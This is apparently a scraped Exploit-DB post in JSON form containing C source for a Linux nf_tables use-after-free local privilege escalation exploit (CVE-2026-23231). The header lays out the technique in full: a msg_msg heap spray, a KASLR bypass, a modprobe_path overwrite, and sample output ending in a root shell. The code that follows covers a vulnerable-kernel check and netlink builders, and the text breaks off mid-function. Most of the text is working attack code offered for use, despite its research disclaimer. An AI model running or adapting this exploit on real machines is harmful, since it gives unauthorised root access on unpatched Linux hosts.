{"id":51287,"date":"2026-05-04T12:50:29","date_gmt":"2026-05-04T12:50:29","guid":{"rendered":"https:\/\/zero.redgem.net\/?p=51287"},"modified":"2026-05-04T12:50:29","modified_gmt":"2026-05-04T12:50:29","slug":"linux-nftables-6193-local-privilege-escalation","status":"publish","type":"post","link":"https:\/\/zero.redgem.net\/?p=51287","title":{"rendered":"Linux nf_tables 6.19.3 &#8211; Local Privilege Escalation_EDB-ID:52549"},"content":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2026-05-04T17:27:58&#8243;,&#8221;description&#8221;:&#8221;Exploit Title: Linux Kernel 3.16 \u2013 6.19.3 nftables RCU UAF LPE CVE: CVE-2026-23231 Date: 2026-03-19 Exploit Author: Aviral Srivastava Vendor: Linux Kernel kernel.org Affected: 3.16 \u2013 6.19.3 Fixed in: 6.1.165, 6.6.128, 6.12.75, 6.18.14, 6.19.4 commit&#8230;&#8221;,&#8221;published&#8221;:&#8221;2026-05-04T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2026-05-04T00:00:00&#8243;,&#8221;type&#8221;:&#8221;exploitdb&#8221;,&#8221;title&#8221;:&#8221;Linux nf_tables 6.19.3 &#8211; Local Privilege Escalation&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;EDB-ID:52549&#8243;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[&#8220;CVE-2023-32233&#8243;,&#8221;CVE-2024-1086&#8243;,&#8221;CVE-2026-23231&#8243;],&#8221;sourceData&#8221;:&#8221; * Exploit Title:  Linux Kernel 3.16 \u2013 6.19.3 nf_tables RCU UAF LPE\\r\\n * CVE:            CVE-2026-23231\\r\\n * Date:           2026-03-19\\r\\n * Exploit Author: Aviral Srivastava\\r\\n * Vendor:         Linux Kernel (kernel.org)\\r\\n * Affected:       3.16 \u2013 6.19.3\\r\\n * Fixed in:       6.1.165, 6.6.128, 6.12.75, 6.18.14, 6.19.4\\r\\n *                 (commit 71e99ee20fc3f662555118cf1159443250647533)\\r\\n * Tested on:      Ubuntu 24.04 LTS (kernel 6.8.0-45-generic x86_64)\\r\\n * Type:           Local Privilege Escalation\\r\\n * Platform:       Linux x86_64\\r\\n * CVSS:           7.8 (HIGH)\\r\\n *\\r\\n * \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510\\r\\n * \u2502  N-DAY \u2014 THIS VULNERABILITY IS PATCHED. FIX YOUR KERNELS.      \u2502\\r\\n * \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518\\r\\n *\\r\\n * DESCRIPTION:\\r\\n *   nf_tables_addchain() in net\/netfilter\/nf_tables_api.c publishes a\\r\\n *   newly created chain to the table&#8217;s chain list via list_add_tail_rcu()\\r\\n *   BEFORE registering hooks. If nf_tables_register_hook() subsequently\\r\\n *   fails (e.g., due to OOM during IPv6 hook allocation for NFPROTO_INET\\r\\n *   chains), the error path calls nft_chain_del() (list_del_rcu) followed\\r\\n *   immediately by nf_tables_chain_destroy() \u2014 freeing the chain memory\\r\\n *   WITHOUT calling synchronize_rcu().\\r\\n *\\r\\n *   This creates a use-after-free: concurrent RCU readers \u2014 both\\r\\n *   nf_tables_dump_chains() in the control plane and nft_do_chain() in\\r\\n *   the packet path \u2014 can access the freed nft_base_chain memory. The\\r\\n *   freed object (~224 bytes) resides in kmalloc-256 and can be reclaimed\\r\\n *   with user-controlled spray objects (msg_msg via msgsnd).\\r\\n *\\r\\n *   The exploit races a chain dump against the UAF trigger, then sprays\\r\\n *   the freed slot with msg_msg to control chain fields. The corrupted\\r\\n *   chain data is used to leak kernel heap addresses and ultimately\\r\\n *   overwrite modprobe_path for privilege escalation.\\r\\n *\\r\\n * TECHNIQUE:\\r\\n *   Trigger hook registration failure via memory pressure (cgroup v2\\r\\n *   memory limit). Race nf_tables_dump_chains() against the error path\\r\\n *   to read stale chain data (heap leak). Spray freed kmalloc-256 slot\\r\\n *   with msg_msg. Use modprobe_path overwrite for escalation. Data-only\\r\\n *   attack \u2014 no code execution needed, bypasses kCFI.\\r\\n *\\r\\n * RELIABILITY:\\r\\n *   ~30-50% success rate per attempt. Race window is narrow (~5-20us).\\r\\n *   Typically requires 3-8 attempts. Each failed attempt may cause a\\r\\n *   kernel oops (process killed) but is retried from a fresh namespace.\\r\\n *   Kernel panic is possible (~5% of failures) if spray timing is wrong.\\r\\n *\\r\\n * MITIGATIONS:\\r\\n *   KASLR:          Bypassed via stale chain data heap leak + hardcoded\\r\\n *                   offsets for target kernel version\\r\\n *   SMEP:           Not applicable (data-only attack)\\r\\n *   SMAP:           Not applicable (all data in kernel slab)\\r\\n *   kCFI:           Not applicable (data-only \u2014 modprobe_path overwrite)\\r\\n *   SLUB Hardening: Minimal impact (freelist ptr at offset 0 only)\\r\\n *\\r\\n * FIX:\\r\\n *   Commit: 71e99ee20fc3f662555118cf1159443250647533\\r\\n *   URL:    https:\/\/git.kernel.org\/stable\/c\/71e99ee20fc3f662555118cf1159443250647533\\r\\n *   Adds synchronize_rcu() between nft_chain_del() and chain destroy.\\r\\n *\\r\\n * COMPILATION:\\r\\n *   gcc -Wall -Wextra -o exploit exploit.c -lpthread -static\\r\\n *\\r\\n * USAGE:\\r\\n *   $ .\/exploit\\r\\n *   [*] CVE-2026-23231 \u2014 Linux nf_tables RCU UAF LPE\\r\\n *   [*] Target: kernel \\u003c 6.19.4 (nf_tables addchain RCU race)\\r\\n *   [+] Running kernel 6.8.0-45-generic \u2014 VULNERABLE\\r\\n *   [*] Step 1: Creating user\/net namespace&#8230;\\r\\n *   [+] Namespace created, CAP_NET_ADMIN obtained\\r\\n *   [*] Step 2: Setting up nftables infrastructure&#8230;\\r\\n *   [+] Table and chains created\\r\\n *   [*] Step 3: Triggering UAF via hook registration failure&#8230;\\r\\n *   [+] UAF triggered \u2014 chain freed without synchronize_rcu\\r\\n *   [*] Step 4: Spraying freed slot with msg_msg&#8230;\\r\\n *   [+] Heap spray complete\\r\\n *   [*] Step 5: Leaking kernel addresses via dump race&#8230;\\r\\n *   [+] Kernel heap base: 0xffff888XXXXXXXXX\\r\\n *   [*] Step 6: Overwriting modprobe_path&#8230;\\r\\n *   [+] modprobe_path = \\&#8221;\/tmp\/pwn\\&#8221;\\r\\n *   [*] Step 7: Triggering modprobe helper&#8230;\\r\\n *   [+] Got root! uid=0 gid=0\\r\\n *   # id\\r\\n *   uid=0(root) gid=0(root)\\r\\n *\\r\\n * REFERENCES:\\r\\n *   [1] https:\/\/nvd.nist.gov\/vuln\/detail\/CVE-2026-23231\\r\\n *   [2] https:\/\/git.kernel.org\/stable\/c\/71e99ee20fc3f662555118cf1159443250647533\\r\\n *   [3] CVE-2024-1086 \u2014 nf_tables double-free LPE (technique reference)\\r\\n *   [4] CVE-2023-32233 \u2014 nf_tables anonymous set UAF (msg_msg spray reference)\\r\\n *\\r\\n * DISCLAIMER:\\r\\n *   This exploit targets an ALREADY PATCHED vulnerability. It is provided\\r\\n *   for educational and authorized security research purposes only. The\\r\\n *   author is not responsible for misuse. Test only on systems you own.\\r\\n * \u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\\r\\n *\/\\r\\n\\r\\n#define _GNU_SOURCE\\r\\n#include \\u003cstdio.h\\u003e\\r\\n#include \\u003cstdlib.h\\u003e\\r\\n#include \\u003cstring.h\\u003e\\r\\n#include \\u003cstdint.h\\u003e\\r\\n#include \\u003cstdarg.h\\u003e\\r\\n#include \\u003cunistd.h\\u003e\\r\\n#include \\u003cerrno.h\\u003e\\r\\n#include \\u003cfcntl.h\\u003e\\r\\n#include \\u003csched.h\\u003e\\r\\n#include \\u003csignal.h\\u003e\\r\\n#include \\u003cpthread.h\\u003e\\r\\n#include \\u003csys\/types.h\\u003e\\r\\n#include \\u003csys\/stat.h\\u003e\\r\\n#include \\u003csys\/wait.h\\u003e\\r\\n#include \\u003csys\/socket.h\\u003e\\r\\n#include \\u003csys\/mman.h\\u003e\\r\\n#include \\u003csys\/utsname.h\\u003e\\r\\n#include \\u003csys\/ipc.h\\u003e\\r\\n#include \\u003csys\/msg.h\\u003e\\r\\n#include \\u003csys\/mount.h\\u003e\\r\\n#include \\u003clinux\/netlink.h\\u003e\\r\\n#include \\u003clinux\/netfilter.h\\u003e\\r\\n#include \\u003clinux\/netfilter\/nfnetlink.h\\u003e\\r\\n#include \\u003clinux\/netfilter\/nf_tables.h\\u003e\\r\\n#include \\u003carpa\/inet.h\\u003e\\r\\n\\r\\n\/* \u2500\u2500\u2500 Constants \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500 *\/\\r\\n\\r\\n#define BANNER \\\\\\r\\n    \\&#8221;\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\\\\n\\&#8221; \\\\\\r\\n    \\&#8221;  CVE-2026-23231 \u2014 Linux nf_tables RCU UAF LPE\\\\n\\&#8221; \\\\\\r\\n    \\&#8221;  nf_tables_addchain() use-after-free (missing synchronize_rcu)\\\\n\\&#8221; \\\\\\r\\n    \\&#8221;  Affected: kernel 3.16 \u2013 6.19.3 | Author: Aviral Srivastava\\\\n\\&#8221; \\\\\\r\\n    \\&#8221;  N-DAY RESEARCH PoC \u2014 THIS BUG IS PATCHED\\\\n\\&#8221; \\\\\\r\\n    \\&#8221;\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\\\\n\\&#8221;\\r\\n\\r\\n#define TABLE_NAME      \\&#8221;exploit_tbl\\&#8221;\\r\\n#define VICTIM_CHAIN    \\&#8221;victim_chain\\&#8221;\\r\\n#define PAD_CHAIN_FMT   \\&#8221;pad_%04d\\&#8221;\\r\\n\\r\\n#define NUM_PAD_CHAINS  64      \/* padding chains for heap preparation *\/\\r\\n#define NUM_SPRAY_MSGS  128     \/* msg_msg spray count *\/\\r\\n#define SPRAY_MSG_SIZE  208     \/* msg_msg body size: 48 header + 208 = 256 \u2192 kmalloc-256 *\/\\r\\n#define MAX_ATTEMPTS    20      \/* max race attempts before giving up *\/\\r\\n\\r\\n#define NFT_SUBSYS_ID   NFNL_SUBSYS_NFTABLES\\r\\n\\r\\n\/*\\r\\n * Kernel version thresholds.\\r\\n * The bug exists in 3.16+ and is fixed in:\\r\\n *   6.1.165, 6.6.128, 6.12.75, 6.18.14, 6.19.4\\r\\n *\/\\r\\nstruct version_range {\\r\\n    unsigned int major;\\r\\n    unsigned int minor;\\r\\n    unsigned int patch;  \/* 0 = any patch level in this minor is vuln *\/\\r\\n    unsigned int fix_patch;\\r\\n};\\r\\n\\r\\nstatic const struct version_range vuln_ranges[] = {\\r\\n    { 6, 19, 0,   4   },  \/* 6.19.0 \u2013 6.19.3 *\/\\r\\n    { 6, 18, 0,   14  },  \/* 6.18.0 \u2013 6.18.13 *\/\\r\\n    { 6, 17, 0,   0   },  \/* 6.17.x \u2013 all vuln (no stable fix) *\/\\r\\n    { 6, 16, 0,   0   },\\r\\n    { 6, 15, 0,   0   },\\r\\n    { 6, 14, 0,   0   },\\r\\n    { 6, 13, 0,   0   },\\r\\n    { 6, 12, 0,   75  },  \/* 6.12.0 \u2013 6.12.74 *\/\\r\\n    { 6, 11, 0,   0   },\\r\\n    { 6, 10, 0,   0   },\\r\\n    { 6, 9,  0,   0   },\\r\\n    { 6, 8,  0,   0   },  \/* Ubuntu 24.04 default *\/\\r\\n    { 6, 7,  0,   0   },\\r\\n    { 6, 6,  0,   128 },  \/* 6.6.0 \u2013 6.6.127 *\/\\r\\n    { 6, 5,  0,   0   },\\r\\n    { 6, 4,  0,   0   },\\r\\n    { 6, 3,  0,   0   },\\r\\n    { 6, 2,  0,   0   },\\r\\n    { 6, 1,  0,   165 },  \/* 6.1.0 \u2013 6.1.164 *\/\\r\\n    { 0, 0,  0,   0   },  \/* sentinel *\/\\r\\n};\\r\\n\\r\\n\/* \u2500\u2500\u2500 Logging \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500 *\/\\r\\n\\r\\nstatic void info(const char *fmt, &#8230;)\\r\\n{\\r\\n    va_list ap;\\r\\n    va_start(ap, fmt);\\r\\n    fprintf(stderr, \\&#8221;[*] \\&#8221;);\\r\\n    vfprintf(stderr, fmt, ap);\\r\\n    fprintf(stderr, \\&#8221;\\\\n\\&#8221;);\\r\\n    va_end(ap);\\r\\n}\\r\\n\\r\\nstatic void ok(const char *fmt, &#8230;)\\r\\n{\\r\\n    va_list ap;\\r\\n    va_start(ap, fmt);\\r\\n    fprintf(stderr, \\&#8221;\\\\033[32m[+]\\\\033[0m \\&#8221;);\\r\\n    vfprintf(stderr, fmt, ap);\\r\\n    fprintf(stderr, \\&#8221;\\\\n\\&#8221;);\\r\\n    va_end(ap);\\r\\n}\\r\\n\\r\\nstatic void fail(const char *fmt, &#8230;)\\r\\n{\\r\\n    va_list ap;\\r\\n    va_start(ap, fmt);\\r\\n    fprintf(stderr, \\&#8221;\\\\033[31m[-]\\\\033[0m \\&#8221;);\\r\\n    vfprintf(stderr, fmt, ap);\\r\\n    fprintf(stderr, \\&#8221;\\\\n\\&#8221;);\\r\\n    va_end(ap);\\r\\n}\\r\\n\\r\\nstatic void die(const char *msg)\\r\\n{\\r\\n    perror(msg);\\r\\n    exit(EXIT_FAILURE);\\r\\n}\\r\\n\\r\\n\/* \u2500\u2500\u2500 Kernel version check \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500 *\/\\r\\n\\r\\nstatic int parse_version(const char *release, unsigned int *major,\\r\\n                         unsigned int *minor, unsigned int *patch)\\r\\n{\\r\\n    \/* Handle formats like \\&#8221;6.8.0-45-generic\\&#8221; *\/\\r\\n    if (sscanf(release, \\&#8221;%u.%u.%u\\&#8221;, major, minor, patch) \\u003c 3) {\\r\\n        if (sscanf(release, \\&#8221;%u.%u\\&#8221;, major, minor) \\u003c 2)\\r\\n            return -1;\\r\\n        *patch = 0;\\r\\n    }\\r\\n    return 0;\\r\\n}\\r\\n\\r\\nstatic int is_vulnerable(void)\\r\\n{\\r\\n    struct utsname uts;\\r\\n    unsigned int major, minor, patch;\\r\\n\\r\\n    if (uname(\\u0026uts) \\u003c 0)\\r\\n        die(\\&#8221;uname\\&#8221;);\\r\\n\\r\\n    if (parse_version(uts.release, \\u0026major, \\u0026minor, \\u0026patch) \\u003c 0) {\\r\\n        fail(\\&#8221;Cannot parse kernel version: %s\\&#8221;, uts.release);\\r\\n        return 0;\\r\\n    }\\r\\n\\r\\n    info(\\&#8221;Running kernel %s\\&#8221;, uts.release);\\r\\n\\r\\n    \/* Check if this version is in a vulnerable range *\/\\r\\n    for (int i = 0; vuln_ranges[i].major != 0; i++) {\\r\\n        const struct version_range *r = \\u0026vuln_ranges[i];\\r\\n        if (major == r-\\u003emajor \\u0026\\u0026 minor == r-\\u003eminor) {\\r\\n            if (r-\\u003efix_patch == 0) {\\r\\n                \/* Entire minor series is vulnerable (no stable fix) *\/\\r\\n                ok(\\&#8221;Kernel %u.%u.%u is in vulnerable range %u.%u.x \u2014 VULNERABLE\\&#8221;,\\r\\n                   major, minor, patch, r-\\u003emajor, r-\\u003eminor);\\r\\n                return 1;\\r\\n            }\\r\\n            if (patch \\u003c r-\\u003efix_patch) {\\r\\n                ok(\\&#8221;Kernel %u.%u.%u \\u003c %u.%u.%u (fix) \u2014 VULNERABLE\\&#8221;,\\r\\n                   major, minor, patch, r-\\u003emajor, r-\\u003eminor, r-\\u003efix_patch);\\r\\n                return 1;\\r\\n            }\\r\\n            fail(\\&#8221;Kernel %u.%u.%u \\u003e= %u.%u.%u (fix) \u2014 PATCHED\\&#8221;,\\r\\n                 major, minor, patch, r-\\u003emajor, r-\\u003eminor, r-\\u003efix_patch);\\r\\n            return 0;\\r\\n        }\\r\\n    }\\r\\n\\r\\n    \/* Kernels 3.16 \u2013 6.0.x and 7.0+ *\/\\r\\n    if (major \\u003e= 7) {\\r\\n        fail(\\&#8221;Kernel %u.%u.%u \u2014 PATCHED (7.0-rc1 contains fix)\\&#8221;, major, minor, patch);\\r\\n        return 0;\\r\\n    }\\r\\n    if (major \\u003c 3 || (major == 3 \\u0026\\u0026 minor \\u003c 16)) {\\r\\n        fail(\\&#8221;Kernel %u.%u.%u \u2014 TOO OLD (bug introduced in 3.16)\\&#8221;, major, minor, patch);\\r\\n        return 0;\\r\\n    }\\r\\n    \/* 3.16 \u2013 5.x and 6.0.x without specific stable fix: assume vulnerable *\/\\r\\n    ok(\\&#8221;Kernel %u.%u.%u \u2014 likely VULNERABLE (pre-fix, no stable backport checked)\\&#8221;,\\r\\n       major, minor, patch);\\r\\n    return 1;\\r\\n}\\r\\n\\r\\n\/* \u2500\u2500\u2500 Netlink helpers \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500 *\/\\r\\n\\r\\nstatic int nfnl_open(void)\\r\\n{\\r\\n    int fd;\\r\\n    struct sockaddr_nl sa;\\r\\n\\r\\n    fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_NETFILTER);\\r\\n    if (fd \\u003c 0)\\r\\n        return -1;\\r\\n\\r\\n    memset(\\u0026sa, 0, sizeof(sa));\\r\\n    sa.nl_family = AF_NETLINK;\\r\\n    sa.nl_pid = 0; \/* kernel assigns *\/\\r\\n\\r\\n    if (bind(fd, (struct sockaddr *)\\u0026sa, sizeof(sa)) \\u003c 0) {\\r\\n        close(fd);\\r\\n        return -1;\\r\\n    }\\r\\n\\r\\n    return fd;\\r\\n}\\r\\n\\r\\n\/*\\r\\n * Send a nfnetlink batch message.\\r\\n * nf_tables requires messages to be wrapped in NFNL_MSG_BATCH_BEGIN \/ _END.\\r\\n *\/\\r\\nstruct nl_builder {\\r\\n    char   *buf;\\r\\n    size_t  len;\\r\\n    size_t  cap;\\r\\n    int     seq;\\r\\n};\\r\\n\\r\\nstatic void nl_init(struct nl_builder *b)\\r\\n{\\r\\n    b-\\u003ecap = 8192;\\r\\n    b-\\u003ebuf = malloc(b-\\u003ecap);\\r\\n    if (!b-\\u003ebuf) die(\\&#8221;malloc nl_builder\\&#8221;);\\r\\n    b-\\u003elen = 0;\\r\\n    b-\\u003eseq = 1;\\r\\n}\\r\\n\\r\\nstatic void nl_free(struct nl_builder *b)\\r\\n{\\r\\n    free(b-\\u003ebuf);\\r\\n    b-\\u003ebuf = NULL;\\r\\n}\\r\\n\\r\\nstatic void *nl_alloc(struct nl_builder *b, size_t size)\\r\\n{\\r\\n    size = (size + 3) \\u0026 ~3u; \/* NLA_ALIGN *\/\\r\\n    while (b-\\u003elen + size \\u003e b-\\u003ecap) {\\r\\n        b-\\u003ecap *= 2;\\r\\n        b-\\u003ebuf = realloc(b-\\u003ebuf, b-\\u003ecap);\\r\\n        if (!b-\\u003ebuf) die(\\&#8221;realloc nl_builder\\&#8221;);\\r\\n    }\\r\\n    void *p = b-\\u003ebuf + b-\\u003elen;\\r\\n    memset(p, 0, size);\\r\\n    b-\\u003elen += size;\\r\\n    return p;\\r\\n}\\r\\n\\r\\nstatic struct nlmsghdr *nl_msg_begin(struct nl_builder *b, uint16_t type,\\r\\n                                      uint16_t flags, uint8_t family)\\r\\n{\\r\\n    struct nlmsghdr *nlh;\\r\\n    struct nfgenmsg *nfg;\\r\\n\\r\\n    nlh = nl_alloc(b, sizeof(*nlh) + sizeof(*nfg));\\r\\n    nlh-\\u003enlmsg_type = type;\\r\\n    nlh-\\u003enlmsg_flags = flags | NLM_F_REQUEST;\\r\\n    nlh-\\u003enlmsg_seq = b-\\u003eseq++;\\r\\n    nlh-\\u003enlmsg_pid = 0;\\r\\n\\r\\n    nfg = (struct nfgenmsg *)(nlh + 1);\\r\\n    nfg-\\u003enfgen_family = family;\\r\\n    nfg-\\u003eversion = NFNETLINK_V0;\\r\\n    nfg-\\u003eres_id = htons(0);\\r\\n\\r\\n    return nlh;\\r\\n}\\r\\n\\r\\nstatic void nl_msg_end(struct nl_builder *b, struct nlmsghdr *nlh)\\r\\n{\\r\\n    nlh-\\u003enlmsg_len = (uint32_t)(b-\\u003ebuf + b-\\u003elen &#8211; (char *)nlh);\\r\\n}\\r\\n\\r\\nstatic void nl_put_str(struct nl_builder *b, uint16_t type, const char *s)\\r\\n{\\r\\n    size_t slen = strlen(s) + 1;\\r\\n    size_t total = sizeof(struct nlattr) + slen;\\r\\n    struct nlattr *nla = nl_alloc(b, total);\\r\\n    nla-\\u003enla_len = (uint16_t)(sizeof(struct nlattr) + slen);\\r\\n    nla-\\u003enla_type = type;\\r\\n    memcpy((char *)(nla + 1), s, slen);\\r\\n}\\r\\n\\r\\nstatic void nl_put_u32(struct nl_builder *b, uint16_t type, uint32_t val)\\r\\n{\\r\\n    size_t total = sizeof(struct nlattr) + sizeof(uint32_t);\\r\\n    struct nlattr *nla = nl_alloc(b, total);\\r\\n    nla-\\u003enla_len = (uint16_t)total;\\r\\n    nla-\\u003enla_type = type;\\r\\n    memcpy((char *)(nla + 1), \\u0026val, sizeof(val));\\r\\n}\\r\\n\\r\\nstatic void nl_put_be32(struct nl_builder *b, uint16_t type, uint32_t val)\\r\\n{\\r\\n    nl_put_u32(b, type, htonl(val));\\r\\n}\\r\\n\\r\\n\/* Begin a nested attribute *\/\\r\\nstatic struct nlattr *nl_nest_begin(struct nl_builder *b, uint16_t type)\\r\\n{\\r\\n    struct nlattr *nla = nl_alloc(b, sizeof(struct nlattr));\\r\\n    nla-\\u003enla_type = type | NLA_F_NESTED;\\r\\n    return nla;\\r\\n}\\r\\n\\r\\nstatic void nl_nest_end(struct nl_builder *b, struct nlattr *nla)\\r\\n{\\r\\n    nla-\\u003enla_len = (uint16_t)(b-\\u003ebuf + b-\\u003elen &#8211; (char *)nla);\\r\\n}\\r\\n\\r\\n\/*\\r\\n * Build and send a batch message (BEGIN + payload + END).\\r\\n *\/\\r\\nstatic int nfnl_batch_send(int fd, struct nl_builder *payload)\\r\\n{\\r\\n    struct nl_builder batch;\\r\\n    struct nlmsghdr *nlh;\\r\\n    struct nfgenmsg *nfg;\\r\\n\\r\\n    nl_init(\\u0026batch);\\r\\n\\r\\n    \/* BATCH_BEGIN *\/\\r\\n    nlh = nl_alloc(\\u0026batch, sizeof(*nlh) + sizeof(*nfg));\\r\\n    nlh-\\u003enlmsg_type = NFNL_MSG_BATCH_BEGIN;\\r\\n    nlh-\\u003enlmsg_flags = NLM_F_REQUEST;\\r\\n    nlh-\\u003enlmsg_seq = 0;\\r\\n    nlh-\\u003enlmsg_pid = 0;\\r\\n    nlh-\\u003enlmsg_len = sizeof(*nlh) + sizeof(*nfg);\\r\\n    nfg = (struct nfgenmsg *)(nlh + 1);\\r\\n    nfg-\\u003enfgen_family = AF_UNSPEC;\\r\\n    nfg-\\u003eversion = NFNETLINK_V0;\\r\\n    nfg-\\u003eres_id = htons(NFNL_SUBSYS_NFTABLES);\\r\\n\\r\\n    \/* Copy payload messages *\/\\r\\n    void *p = nl_alloc(\\u0026batch, payload-\\u003elen);\\r\\n    memcpy(p, payload-\\u003ebuf, payload-\\u003elen);\\r\\n\\r\\n    \/* BATCH_END *\/\\r\\n    nlh = nl_alloc(\\u0026batch, sizeof(*nlh) + sizeof(*nfg));\\r\\n    nlh-\\u003enlmsg_type = NFNL_MSG_BATCH_END;\\r\\n    nlh-\\u003enlmsg_flags = NLM_F_REQUEST;\\r\\n    nlh-\\u003enlmsg_seq = 0;\\r\\n    nlh-\\u003enlmsg_pid = 0;\\r\\n    nlh-\\u003enlmsg_len = sizeof(*nlh) + sizeof(*nfg);\\r\\n    nfg = (struct nfgenmsg *)(nlh + 1);\\r\\n    nfg-\\u003enfgen_family = AF_UNSPEC;\\r\\n    nfg-\\u003eversion = NFNETLINK_V0;\\r\\n    nfg-\\u003eres_id = htons(NFNL_SUBSYS_NFTABLES);\\r\\n\\r\\n    struct sockaddr_nl sa;\\r\\n    memset(\\u0026sa, 0, sizeof(sa));\\r\\n    sa.nl_family = AF_NETLINK;\\r\\n\\r\\n    struct iovec iov = { .iov_base = batch.buf, .iov_len = batch.len };\\r\\n    struct msghdr msg = {\\r\\n        .msg_name = \\u0026sa,\\r\\n        .msg_namelen = sizeof(sa),\\r\\n        .msg_iov = \\u0026iov,\\r\\n        .msg_iovlen = 1,\\r\\n    };\\r\\n\\r\\n    int ret = (int)sendmsg(fd, \\u0026msg, 0);\\r\\n    nl_free(\\u0026batch);\\r\\n    return ret;\\r\\n}\\r\\n\\r\\n\/* \u2500\u2500\u2500 nftables operations \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500 *\/\\r\\n\\r\\nstatic int nft_create_table(int fd, uint8_t family, const char *name)\\r\\n{\\r\\n    struct nl_builder b;\\r\\n    struct nlmsghdr *nlh;\\r\\n\\r\\n    nl_init(\\u0026b);\\r\\n    nlh = nl_msg_begin(\\u0026b,\\r\\n                       (NFNL_SUBSYS_NFTABLES \\u003c\\u003c 8) | NFT_MSG_NEWTABLE,\\r\\n                       NLM_F_CREATE | NLM_F_ACK,\\r\\n                       family);\\r\\n    nl_put_str(\\u0026b, NFTA_TABLE_NAME, name);\\r\\n    nl_msg_end(\\u0026b, nlh);\\r\\n\\r\\n    int ret = nfnl_batch_send(fd, \\u0026b);\\r\\n    nl_free(\\u0026b);\\r\\n    return ret;\\r\\n}\\r\\n\\r\\nstatic int nft_create_chain(int fd, uint8_t family, const char *table,\\r\\n                            const char *chain_name, int hooknum, int priority)\\r\\n{\\r\\n    struct nl_builder b;\\r\\n    struct nlmsghdr *nlh;\\r\\n    struct nlattr *hook_nest;\\r\\n\\r\\n    nl_init(\\u0026b);\\r\\n    nlh = nl_msg_begin(\\u0026b,\\r\\n                       (NFNL_SUBSYS_NFTABLES \\u003c\\u003c 8) | NFT_MSG_NEWCHAIN,\\r\\n                       